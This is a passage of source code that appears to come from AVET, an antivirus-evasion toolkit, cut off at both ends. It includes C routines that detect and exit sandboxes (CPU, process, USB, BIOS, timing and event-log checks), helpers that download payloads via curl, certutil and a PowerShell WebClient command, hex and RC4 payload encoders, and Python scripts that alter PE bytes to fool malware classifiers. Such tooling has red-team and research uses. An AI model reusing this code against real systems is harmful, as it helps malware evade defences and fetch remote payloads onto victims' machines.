DNS domain the target is in. 10 | // If the target is not in the expected domain as specified in arg1, the program exits. 11 | // 12 | // arg1: Expected domain name 13 | void get_computer_domain(char *arg1) { 14 | DEBUG_PRINT("Applying get_computer_domain sandbox evasion technique.\n"); 15 | DEBUG_PRINT("Expected domain is %s...\n", arg1); 16 | 17 | DWORD bufSize = MAX_PATH; 18 | TCHAR domainNameBuf[MAX_PATH]; 19 | 20 | GetComputerNameEx(ComputerNameDnsDomain, domainNameBuf, &bufSize); 21 | 22 | DEBUG_PRINT("Retrieved domain is %s\n", domainNameBuf); 23 | 24 | if(strcmp(domainNameBuf, arg1) != 0) { 25 | DEBUG_PRINT("Not in expected domain, exiting..."); 26 | exit(0); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_cpu_cores.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Investigates the number of CPU cores present on the system. If core count is lower than a specified number, the program exits. 10 | // 11 | // arg1: Specifies the core number threshold. Program exits if core count is less than threshold. 12 | void get_cpu_cores(char *arg1) { 13 | SYSTEM_INFO sysinfo; 14 | GetSystemInfo(&sysinfo); 15 | 16 | // arg1 is expected to be a valid base-10 integer representation. 17 | long cpu_core_threshold = strtol(arg1, NULL, 10); 18 | 19 | DEBUG_PRINT("Applying get_cpu_cores evasion technique.\n"); 20 | DEBUG_PRINT("Exiting if number of cpu cores is lower than %ld...\n", cpu_core_threshold); 21 | 22 | if (sysinfo.dwNumberOfProcessors < cpu_core_threshold) { 23 | exit(0); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_num_processes.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "../debug_print/debug_print.h" 5 | 6 | 7 | // Count the number of running Processes 8 | // 9 | // arg1: Specifies process threshold. Program exits if process count is less than threshold. 10 | void get_num_processes(char *arg1) { 11 | int minNumProcesses = atoi(arg1); 12 | 13 | DWORD loadedProcesses[1024]; 14 | DWORD cbNeeded; 15 | DWORD runningProcesses; 16 | 17 | if (!EnumProcesses(loadedProcesses, sizeof(loadedProcesses), &cbNeeded)) { 18 | DEBUG_PRINT("Could not get processes.\n"); 19 | } 20 | 21 | runningProcesses = cbNeeded / sizeof(DWORD); 22 | 23 | DEBUG_PRINT("Applying get_num_processes evasion technique.\n"); 24 | DEBUG_PRINT("Exiting if number of processes are below threshold.\n"); 25 | 26 | if (runningProcesses >= minNumProcesses) { 27 | DEBUG_PRINT("Proceed!.\n"); 28 | } else { 29 | exit(0); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /source/implementations/evasion/sleep_by_ping.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Halt execution of the program for arg1 seconds by invoking a timed ping command against localhost. 10 | // Will ping once each second, for arg1 times. 11 | // 12 | // arg1: ping duration in seconds 13 | void sleep_by_ping(char *arg1) { 14 | DEBUG_PRINT("Applying sleep_by_ping technique.\n"); 15 | DEBUG_PRINT("Pinging localhost for %s seconds.\n", arg1); 16 | 17 | char *ping_command = "ping 127.0.0.1 -n "; 18 | char *complete_command = (char *) malloc(strlen(ping_command) + strlen(arg1) + 1); 19 | strcpy(complete_command, ping_command); 20 | strcat(complete_command, arg1); 21 | DEBUG_PRINT("Invoking command %s \n", complete_command); 22 | system(complete_command); 23 | free(complete_command); 24 | DEBUG_PRINT("Ping finished, proceeding..."); 25 | } 26 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_standard_browser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Programm exits if Browser does not Match with given Argument 10 | // 11 | // arg1: Programm ID of the Browser: MSEdgeHTM, Firefox or ChromeHTML 12 | void get_standard_browser(char *arg1) { 13 | char value[255]; 14 | DWORD BufferSize = 8192; 15 | 16 | // Read Registry Key to get the default Browser 17 | RegGetValue(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice", "Progid", RRF_RT_ANY, NULL, (PVOID)&value, &BufferSize); 18 | DEBUG_PRINT("Applying get_standard_browser evasion technique.\n"); 19 | DEBUG_PRINT("Exiting if provided Browser does not match.\n"); 20 | 21 | if(strstr(value, arg1) != NULL){ 22 | DEBUG_PRINT("Proceed!\n"); 23 | } else { 24 | DEBUG_PRINT("Browsers does not match %s != %s\n", value, arg1); 25 | exit(0); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_registry_size.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | // 8 | // WIP 9 | // 10 | void get_registry_size(char *arg1) { 11 | DWORD BufferSize = 8192; 12 | DWORD cbData; 13 | DWORD dwRet; 14 | 15 | long threshold = strtol(arg1, NULL, 10); 16 | 17 | PPERF_DATA_BLOCK PerfData = (PPERF_DATA_BLOCK) malloc( BufferSize ); 18 | cbData = BufferSize; 19 | 20 | DEBUG_PRINT("Applying get_registry_size evasion technique.\n"); 21 | DEBUG_PRINT("Exiting if size is less than given threshold\n"); 22 | 23 | dwRet = RegQueryValueEx( HKEY_PERFORMANCE_DATA, 24 | TEXT("Global"), 25 | NULL, 26 | NULL, 27 | (LPBYTE) PerfData, 28 | &cbData ); 29 | 30 | if (dwRet == ERROR_SUCCESS && BufferSize >= threshold) { 31 | DEBUG_PRINT("Proceed!\n"); 32 | } else { 33 | exit(0); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/download_curl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | #include "helper_functions/helper_functions.h" 8 | 9 | // Downloads Data with Curl 10 | // The data is then read from the file and returned. 11 | // 12 | // data_size receives the size of the data in bytes. 13 | 14 | unsigned char *download_curl(char *arg1, int *data_size) { 15 | DEBUG_PRINT("Downloading data to file via curl...\n"); 16 | 17 | char sh_filename[128]; 18 | strcpy(sh_filename, get_filename_from_url(arg1)); 19 | 20 | DEBUG_PRINT("sh_filename = %s\n", sh_filename); 21 | 22 | char download[500]; 23 | sprintf(download, "curl.exe %s -o %s", arg1, sh_filename); 24 | 25 | DEBUG_PRINT("command: %s\n", download); 26 | system(download); 27 | DEBUG_PRINT("Download done.\n"); 28 | 29 | *data_size = get_filesize(sh_filename); 30 | return load_textfile(sh_filename, *data_size); 31 | } 32 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/download_certutil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | #include "helper_functions/helper_functions.h" 8 | 9 | 10 | // Downloads data from the URI specified in arg1 to a file. 11 | // The data is then retrieved from the file. 12 | // 13 | // data_size receives the size of the data in bytes. 14 | unsigned char* download_certutil(char *arg1, int *data_size) { 15 | DEBUG_PRINT("Downloading data to file via certutil...\n"); 16 | 17 | char download[500]; //how not to do it... 18 | sprintf(download,"certutil.exe -urlcache -split -f %s", arg1); 19 | 20 | DEBUG_PRINT("url: %s\n", download); 21 | 22 | system(download); 23 | 24 | DEBUG_PRINT("Download done.\n"); 25 | 26 | char sh_filename[128]; 27 | strcpy(sh_filename, get_filename_from_url(arg1)); 28 | 29 | DEBUG_PRINT("sh_filename = %s\n", sh_filename); 30 | 31 | *data_size = get_filesize(sh_filename); 32 | return load_textfile(sh_filename, *data_size); 33 | } 34 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_install_date.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Fetch Installation date of Windows 10 | // 11 | // arg1: Date in dd/mm/yyyy, If dates doesn't match the program exits. 12 | void get_install_date(char *arg1) { 13 | char *cmd = "systeminfo | find /i \"original\""; 14 | FILE *fp; 15 | char installdate[200]; 16 | char buf[128]; 17 | 18 | if ((fp = popen(cmd, "r")) == NULL) { 19 | DEBUG_PRINT("Error opening pipe!\n"); 20 | exit(0); 21 | } 22 | 23 | while (fgets(buf, 128, fp) != NULL) { 24 | strcat(installdate, buf); 25 | } 26 | 27 | DEBUG_PRINT("Applying get_install_date evasion technique.\n"); 28 | DEBUG_PRINT("Exiting if dates does not match.\n"); 29 | pclose(fp); 30 | 31 | if (strstr(installdate, arg1) != NULL) { 32 | DEBUG_PRINT("Proceed!\n"); 33 | 34 | } else { 35 | DEBUG_PRINT("Dates does not match: %s != %s", installdate, arg1); 36 | exit(0); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /source/implementations/retrieve_data/download_powershell.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | #include "helper_functions/helper_functions.h" 8 | 9 | 10 | // Downloads data from the URI specified in arg1 into a file. 11 | // The data is then read from the file and returned. 12 | // 13 | // data_size receives the size of the data in bytes. 14 | unsigned char* download_powershell(char *arg1, int *data_size) { 15 | DEBUG_PRINT("Downloading data to file via powershell...\n"); 16 | 17 | char sh_filename[128]; 18 | strcpy(sh_filename, get_filename_from_url(arg1)); 19 | 20 | DEBUG_PRINT("sh_filename = %s\n", sh_filename); 21 | 22 | char download[500]; //how not to do it... 23 | sprintf(download,"powershell.exe \"IEX ((new-object net.webclient).downloadfile('%s','%s'))\"", arg1, sh_filename); 24 | 25 | DEBUG_PRINT("command: %s\n", download); 26 | system(download); 27 | DEBUG_PRINT("Download done.\n"); 28 | 29 | *data_size = get_filesize(sh_filename); 30 | return load_textfile(sh_filename, *data_size); 31 | } 32 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_tickcount.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | #include 8 | 9 | // Check if sandbox utilize fast forwarding to reduce heuristic check time 10 | // 11 | // use GetTickCount before and after sleep and calculate the difference 12 | // If the difference and specified sleep time match, we proceed 13 | // arg1: nothing 14 | void get_tickcount(char *arg1) { 15 | DEBUG_PRINT("Applying get_tickcount technique.\n"); 16 | 17 | ULONGLONG uptimeBeforeSleep = GetTickCount(); 18 | 19 | LARGE_INTEGER delay; 20 | delay.QuadPart = -10000 * 100000; // 100 seconds 21 | typedef NTSTATUS(WINAPI *PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER); 22 | PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution"); 23 | 24 | pNtDelayExecution(FALSE, &delay); 25 | 26 | ULONGLONG uptimeAfterSleep = GetTickCount(); 27 | 28 | if ((uptimeAfterSleep - uptimeBeforeSleep) < 100000) { 29 | exit(0); 30 | } else { 31 | DEBUG_PRINT("Proceed!\n"); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /banner.txt: -------------------------------------------------------------------------------- 1 | *** ============================================= *** 2 | 3 | .==,_ 4 | .===,_`\\ 5 | .====,_ ` \\ .====,__ 6 | --- .==-,`~. \\ `:`.__, 7 | --- `~~=-. \\ /^^^ MEEP MEEP 8 | --- `~~=. \\ / 9 | `~. \\ / 10 | ~. \\____./ 11 | `.=====) 12 | ___.--~~~--.__ 13 | ___\\.--~~~ ~~~---.._|/ 14 | ~~~\\\" / 15 | 16 | ________ ___ ___ _____ __________ 17 | |\ __ \|\ \ / /|\ __\ |\___ __\ 18 | \ \ \|\ \ \ \ / / | \ \__ \|__|\ \_| 19 | \ \ __ \ \ \/ / / \ \ _\ \ \ \ 20 | \ \ \ \ \ \ / / \ \ \___ \ \ \ 21 | \ \__\ \__\ \__/ / \ \____\ \ \__\ 22 | \|__|\|__|\|__|/ \|_____| \|__| 23 | 24 | *** ============================================= *** 25 | 26 | -------------------------------------------------------------------------------- /source/implementations/encoding/avet/avet_decoder.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "../../debug_print/debug_print.h" 5 | 6 | 7 | // return pointer to payload 8 | unsigned char* avet_decoder(const unsigned char *buffer, unsigned char *payload, int size) 9 | { 10 | DEBUG_PRINT("This is AVET decoder.\n"); 11 | int j=0; 12 | payload=malloc((size/2)); 13 | 14 | DEBUG_PRINT("decode_payload, size for malloc: %d\nPayload output:\n", size/2); 15 | 16 | int i=0; 17 | do 18 | { 19 | unsigned char temp[3]={0}; 20 | sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]); 21 | payload[j] = strtoul(temp, NULL, 16); 22 | 23 | DEBUG_PRINT("%x",payload[j]); 24 | 25 | i+=2; 26 | j++; 27 | } while(i 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | struct RawSMBIOSData 9 | { 10 | BYTE Used20CallingMethod; 11 | BYTE SMBIOSMajorVersion; 12 | BYTE SMBIOSMinorVersion; 13 | BYTE DmiRevision; 14 | DWORD Length; 15 | BYTE SMBIOSTableData[]; 16 | }; 17 | 18 | // Checks if it is possible to fetch SMBIOS firmware table 19 | // 20 | // Proceed if possible, else exit. 21 | void get_bios_info(char *arg1) { 22 | DWORD smBiosDataSize = 0; 23 | struct RawSMBIOSData *smBiosData = NULL; 24 | DWORD bytesWritten = 0; 25 | 26 | DEBUG_PRINT("Applying get_bios_info evasion technique.\n"); 27 | DEBUG_PRINT("Exiting if unable to fetch bios info\n"); 28 | 29 | // Query size of SMBIOS data. 30 | smBiosDataSize = GetSystemFirmwareTable('RSMB', 0, NULL, 0); 31 | 32 | smBiosData = (struct RawSMBIOSData*) HeapAlloc(GetProcessHeap(), 0, smBiosDataSize); 33 | if (!smBiosData) { 34 | DEBUG_PRINT("Out of memory\n"); 35 | } 36 | 37 | // Retrieve the SMBIOS table 38 | bytesWritten = GetSystemFirmwareTable('RSMB', 0, smBiosData, smBiosDataSize); 39 | 40 | if (bytesWritten == smBiosDataSize) { 41 | DEBUG_PRINT("Proceed!\n"); 42 | } else { 43 | exit(0); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_usb.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // 9 | // WIP 10 | // 11 | void get_usb(char *arg1) { 12 | HKEY hKey; 13 | DWORD numUsbDevices = 0; 14 | int MinimumUsbHistory = atoi(arg1); 15 | 16 | DEBUG_PRINT("Applying get_usb evasion technique.\n"); 17 | 18 | // Open Key with USB Information 19 | if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { 20 | // number of Subkeys = number of mounted USB devices 21 | // Get number of subkeys 22 | if (RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &numUsbDevices, NULL, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { 23 | 24 | } else { 25 | DEBUG_PRINT("Unable to query subkey HKLM::SYSTEM\\ControlSet001\\Enum\\USBSTOR\n"); 26 | } 27 | } else { 28 | DEBUG_PRINT("Unable to open subkey HKLM::SYSTEM\\ControlSet001\\Enum\\USBSTOR\n"); 29 | } 30 | 31 | DEBUG_PRINT("Exiting if number of mounted usb devices is lower than %ld...\n", MinimumUsbHistory); 32 | 33 | if (numUsbDevices >= MinimumUsbHistory) { 34 | DEBUG_PRINT("Number of USB devices ever mounted: %d\n", numUsbDevices); 35 | DEBUG_PRINT("Proceed!\n"); 36 | } else { 37 | exit(0); 38 | } 39 | } -------------------------------------------------------------------------------- /source/implementations/retrieve_data/from_command_line_hex.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Retrieves data from a "11aabb22..." format hex string given by arg1. 9 | // Can be used to retrieve data of such format from the command line if arg1 = argv[1]. 10 | // 11 | // data_size receives the size of the data in bytes. 12 | unsigned char *from_command_line_hex(char *arg1, int *data_size) { 13 | DEBUG_PRINT("Retrieving data from command line arguments, expecting hex format...\n"); 14 | // Get input string length 15 | int input_length = strlen(arg1); 16 | 17 | // Convert ASCII hex string into raw bytes 18 | char current_hex[5] = "0xaa"; 19 | 20 | // Each data byte is represented by 2 ASCII symbols 21 | *data_size = input_length / 2; 22 | unsigned char *data = (unsigned char *) malloc(*data_size); 23 | 24 | // Hex string is of format aabb01cc34... 25 | // Each loop iteration handles a 2-character chunk 26 | int j = 0; 27 | char *endptr; // Required by strtoul function 28 | 29 | for(int i = 0; i < input_length; i++) { 30 | // Interpret hex representation as unsigned char value 31 | memcpy(&(current_hex[2]), &(arg1[2 * i]), 2); 32 | data[j] = (unsigned char) strtoul(current_hex, &endptr, 16); 33 | j++; 34 | } 35 | 36 | return data; 37 | } 38 | -------------------------------------------------------------------------------- /source/implementations/evasion/computation_timed_fibonacci.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "../debug_print/debug_print.h" 6 | 7 | 8 | // Computes iterations of the Fibonacci series. Stops computations after approximately arg1 seconds. 9 | // (Will likely produce false results for greater n due to modulo reduction inside integer boundaries) 10 | // 11 | // arg1: Number of seconds to run the computation 12 | void computation_timed_fibonacci(char *arg1) { 13 | int time = atoi(arg1); 14 | DEBUG_PRINT("Computing elements of the Fibonacci series for %s seconds...\n", arg1); 15 | 16 | unsigned int a = 0; 17 | unsigned int b = 1; 18 | unsigned int c = 0; 19 | 20 | clock_t start = clock(); 21 | clock_t end; 22 | float elapsed_seconds = 0.0; 23 | 24 | unsigned int i = 2; 25 | while(1) { 26 | // Check elapsed time every 100 iterations 27 | if (i%100 == 0) { 28 | end = clock(); 29 | elapsed_seconds = (float)(end - start) / CLOCKS_PER_SEC; 30 | if(elapsed_seconds > ((float) time)) { 31 | break; 32 | } 33 | } 34 | 35 | c = a + b; 36 | a = b; 37 | b = c; 38 | i++; 39 | } 40 | 41 | // Ensure that the computed value is required at the end of the data flow. 42 | printf("Final number is %u.", c); 43 | } 44 | -------------------------------------------------------------------------------- /source/implementations/evasion/get_eventlog.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // Investigates the number of eventlogs present on the system. If eventlog count is lower than a specified number, the program exits. 10 | // 11 | // arg1: Specifies the eventlog number threshold. Program exits if eventlog count is less than threshold. 12 | void get_eventlog(char *arg1) { 13 | DEBUG_PRINT("Applying get_eventlog evasion technique.\n"); 14 | 15 | char *call = "powershell.exe "; 16 | char *pwsh = "$lines = Get-WinEvent -ListLog * ^| measure-object -line; echo $lines.Lines"; 17 | char *command = (char *) malloc(strlen(pwsh) + strlen(call) + 1); 18 | long num_eventlog_threshold = strtol(arg1, NULL, 10); 19 | 20 | FILE *fp; 21 | char buf[128]; 22 | char retval[10]; 23 | 24 | strcpy(command, call); 25 | strcat(command, pwsh); 26 | 27 | if ((fp = popen(command, "r")) == NULL) { 28 | DEBUG_PRINT("Error opening pipe!\n"); 29 | exit(0); 30 | } 31 | 32 | while (fgets(buf, 128, fp) != NULL) { 33 | strcat(retval, buf); 34 | } 35 | 36 | long eventlog_count = strtol(retval, NULL, 10); 37 | DEBUG_PRINT("%d\n", eventlog_count); 38 | 39 | if (eventlog_count > num_eventlog_threshold) { 40 | DEBUG_PRINT("Proceed!\n"); 41 | } else { 42 | exit(0); 43 | } 44 | } -------------------------------------------------------------------------------- /source/implementations/encoding/rc4/rc4_encoder.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "../../../data_utility.h" 4 | #include "rc4.h" 5 | 6 | 7 | // Arguments expected: 8 | // argv[1]: Name of the file containing the payload to be encoded (raw format expected) 9 | // argv[2]: Name of the file where the encoded payload shall be written to 10 | // argv[3]: Name of the file the key to be applied is stored (raw format) 11 | int main(int argc, char **argv) { 12 | int payload_size; 13 | int key_length; 14 | 15 | printf("Starting RC4 encoder...\n"); 16 | 17 | // Read payload from file into memory 18 | printf("Reading payload from file %s, expecting raw format.\n", argv[1]); 19 | unsigned char *payload = data_from_file_raw(argv[1], &payload_size); 20 | printf("payload size in bytes is %d\n", payload_size); 21 | 22 | // Read encryption key from file into memory 23 | printf("Reading key from file %s, expecting raw format.\n", argv[3]); 24 | unsigned char *key = data_from_file_raw(argv[3], &key_length); 25 | printf("Key length in bytes is %d\n", key_length); 26 | 27 | // Encrypt and write ciphertext to file 28 | unsigned char *ciphertext = (unsigned char *) malloc(payload_size); 29 | printf("Applying RC4 algorithm\n"); 30 | RC4(payload, payload_size, key, key_length, ciphertext); 31 | printf("Writing payload to file %s\n", argv[2]); 32 | data_to_file_raw(ciphertext, payload_size, argv[2]); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/practical_manipulations/partial_dos.py: -------------------------------------------------------------------------------- 1 | """ 2 | Implementation of Partial DOS proposed in 3 | Explaining Vulnerabilities of Deep Learning to Adversarial Malware Binaries 4 | by Demetrio et al. 5 | 6 | Can be used standalone with random bytes or via genetic optimizer. 7 | This file is not relevant for thesis. 8 | """ 9 | 10 | import os 11 | import sys 12 | import copy 13 | 14 | 15 | def partial_dos_on_bytes(exe_bytes: bytearray, section_population, vector_t): 16 | content = bytearray() 17 | for i, section in enumerate(section_population): 18 | content += section[:int(round(len(section) * vector_t[i]))] 19 | range_to_perturb = list(range(2, 0x3C)) 20 | 21 | raw_bytes = copy.deepcopy(exe_bytes) 22 | 23 | counter = 0 24 | for i in range_to_perturb: 25 | raw_bytes[i] = content[counter % len(content)] 26 | counter += 1 27 | 28 | return raw_bytes 29 | 30 | 31 | def partial_dos(exe_path): 32 | print(f"Executing Partial DOS manipulation on: {exe_path}") 33 | 34 | range_to_perturb = list(range(2, 0x3C)) 35 | 36 | with open(exe_path, 'r+b') as f: 37 | raw_bytes = bytearray(f.read()) 38 | 39 | for i in range_to_perturb: 40 | raw_bytes[i] = ord(os.urandom(1)) 41 | 42 | with open(f"{exe_path[:-4]}_partial_dos.exe", 'wb') as nf: 43 | nf.write(raw_bytes) 44 | 45 | 46 | # run as script 47 | if __name__ == "__main__": 48 | partial_dos(sys.argv[1]) 49 | -------------------------------------------------------------------------------- /source/implementations/encoding/rc4/rc4.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | const int N = 256; // 2^8 4 | 5 | 6 | void swap(unsigned char *a, unsigned char *b) { 7 | int tmp = *a; 8 | *a = *b; 9 | *b = tmp; 10 | } 11 | 12 | 13 | int KSA(const unsigned char *key, unsigned char *S, const int key_length) { 14 | int j = 0; 15 | 16 | for(int i = 0; i < N; i++) 17 | S[i] = i; 18 | 19 | for(int i = 0; i < N; i++) { 20 | j = (j + S[i] + key[i % key_length]) % N; 21 | 22 | swap(&S[i], &S[j]); 23 | } 24 | 25 | return 0; 26 | } 27 | 28 | 29 | int PRGA(unsigned char *S, const unsigned char *plaintext, unsigned char *ciphertext, const int plaintext_length) { 30 | int i = 0; 31 | int j = 0; 32 | 33 | for(int n = 0; n < plaintext_length; n++) { 34 | i = (i + 1) % N; 35 | j = (j + S[i]) % N; 36 | 37 | swap(&S[i], &S[j]); 38 | int rnd = S[(S[i] + S[j]) % N]; 39 | 40 | ciphertext[n] = rnd ^ plaintext[n]; 41 | 42 | } 43 | 44 | return 0; 45 | } 46 | 47 | 48 | // RC4 encryption routine. 49 | // Encrypts the given plaintext with the supplied key, and stores the result in ciphertext. 50 | // Supports variable key length, within reason. 51 | void RC4(const unsigned char *plaintext, const int plaintext_length, const unsigned char *key, const int key_length, unsigned char *ciphertext) { 52 | unsigned char S[N]; 53 | KSA(key, S, key_length); 54 | PRGA(S, plaintext, ciphertext, plaintext_length); 55 | } 56 | -------------------------------------------------------------------------------- /source/implementations/debug_print/debug_print.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | // Defines the DEBUG_PRINT macro. 5 | // DEBUG_PRINT writes to stdout by default, or into a logfile instead if the DEBUG_TO_FILE define is set. 6 | // Use DEBUG_PRINT like printf: DEBUG_PRINT("My string: %s\n", my_string); 7 | 8 | 9 | #ifdef DEBUG 10 | #include 11 | 12 | #ifdef DEBUG_TO_FILE 13 | #include 14 | 15 | // Definition of LOGFILE should be enforced by enable_debug_output. 16 | // Check anyways in case something went wrong. 17 | #ifndef LOGFILE 18 | #define LOGFILE "C:\\users\\public\\avetdbg.txt" 19 | #endif 20 | 21 | // Debug output is written to file instead when DEBUG_TO_FILE is set (as in avetsvc) 22 | int DEBUG_PRINT(char *format, ...) { 23 | va_list args; 24 | va_start(args, format); 25 | 26 | FILE *logfile; 27 | logfile = fopen(LOGFILE, "a+"); 28 | if(logfile == NULL) { 29 | return -1; 30 | } 31 | vfprintf(logfile, format, args); 32 | fclose(logfile); 33 | 34 | va_end(args); 35 | 36 | return 0; 37 | } 38 | #else 39 | // Debug output via printf 40 | #define DEBUG_PRINT(...) printf(__VA_ARGS__) 41 | #endif 42 | #else 43 | // Substitute function call with 0 expression, so that debug strings are purged from the executable 44 | #define DEBUG_PRINT(...) 0 45 | #endif 46 | -------------------------------------------------------------------------------- /source/implementations/evasion/has_process_exit.h: -------------------------------------------------------------------------------- 1 | // look for process, exit if process exist 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "../debug_print/debug_print.h" 11 | 12 | using namespace std; 13 | 14 | BOOL GetProcessList(char *arg1); 15 | BOOL TerminateBlacklistedProcess(DWORD dwProcessId, UINT uExitCode); 16 | 17 | void has_process_exit( char *arg1 ) 18 | { 19 | DEBUG_PRINT("Applying has_processes_exit technique.\n"); 20 | DEBUG_PRINT("Looking for process %s and exit if found.\n", arg1); 21 | GetProcessList( arg1 ); 22 | } 23 | 24 | BOOL GetProcessList(char *arg1 ) 25 | { 26 | DEBUG_PRINT("GetProcessList\n"); 27 | HANDLE hProcessSnap; 28 | HANDLE hProcess; 29 | PROCESSENTRY32 pe32; 30 | DWORD dwPriorityClass; 31 | 32 | //Blacklisted processes 33 | LPSTR ProcessName = arg1; 34 | 35 | // Take a snapshot of processes 36 | hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); 37 | if( hProcessSnap == INVALID_HANDLE_VALUE ) 38 | { 39 | printf("exit\n"); 40 | return( FALSE ); 41 | } 42 | 43 | pe32.dwSize = sizeof( PROCESSENTRY32 ); 44 | 45 | if( !Process32First( hProcessSnap, &pe32 ) ) 46 | { 47 | CloseHandle( hProcessSnap ); 48 | return( FALSE ); 49 | } 50 | 51 | do 52 | { 53 | string str(pe32.szExeFile); 54 | 55 | 56 | if(str == ProcessName) 57 | { 58 | cout << "[*] process found, exit: " << (ProcessName) << endl; 59 | return (TRUE); 60 | } 61 | 62 | } while( Process32Next( hProcessSnap, &pe32 ) ); 63 | 64 | CloseHandle( hProcessSnap ); 65 | return( TRUE ); 66 | } 67 | -------------------------------------------------------------------------------- /source/implementations/evasion/check_fast_forwarding.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "../debug_print/debug_print.h" 9 | 10 | u_int64 Delta(const SYSTEMTIME st1, const SYSTEMTIME st2) { 11 | union timeunion 12 | { 13 | FILETIME fileTime; 14 | ULARGE_INTEGER ul; 15 | }; 16 | 17 | FILETIME ft1; 18 | FILETIME ft2; 19 | 20 | SystemTimeToFileTime(&st1, &ft1); 21 | SystemTimeToFileTime(&st2, &ft2); 22 | 23 | ULARGE_INTEGER u1 = {0}; 24 | ULARGE_INTEGER u2 = {0}; 25 | 26 | memcpy(&u1, &ft1, sizeof(u1)); 27 | memcpy(&u2, &ft2, sizeof(u2)); 28 | 29 | return u2.QuadPart - u1.QuadPart; 30 | } 31 | 32 | // Check if sandbox utilize fast forwarding to reduce heuristic check time 33 | // 34 | // Get time before and after sleep and calculate the difference 35 | // If the difference and specified sleep time match, we proceed 36 | // arg1: time in Seconds 37 | void check_fast_forwarding(char *arg1) { 38 | DEBUG_PRINT("Applying check_fast_forwarding technique.\n"); 39 | 40 | SYSTEMTIME before_sleep; 41 | SYSTEMTIME after_sleep; 42 | 43 | GetLocalTime(&before_sleep); 44 | 45 | DEBUG_PRINT("Time before sleep: %d:%d:%d", before_sleep.wHour, before_sleep.wMinute, before_sleep.wSecond); 46 | DEBUG_PRINT("Sleeping for %s Seconds...\n", arg1); 47 | 48 | int time = atoi(arg1); 49 | Sleep(time * 1000); 50 | 51 | GetLocalTime(&after_sleep); 52 | 53 | u_int64 i = Delta(before_sleep, after_sleep); 54 | 55 | DEBUG_PRINT("Time difference %s Seconds...\n", i/10000000); 56 | 57 | if (time == i) { 58 | DEBUG_PRINT("Proceed!\n"); 59 | } else { 60 | exit(0); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/practical_manipulations/padding.py: -------------------------------------------------------------------------------- 1 | """ 2 | Implementation of Padding practical manipulation from 3 | Functionality-Preserving Black-Box Optimization of Adversarial Windows Malware 4 | by Demetrio et al. 5 | 6 | Can be used standalone with random bytes or via genetic optimizer. 7 | """ 8 | 9 | import copy 10 | import os 11 | import sys 12 | 13 | 14 | def padding_on_bytes(exe_bytes: bytearray, section_population, vector_t): 15 | """ 16 | Implementation of Padding practical manipulation. 17 | Intended for use with genetic optimizer. 18 | 19 | Returns the bytes 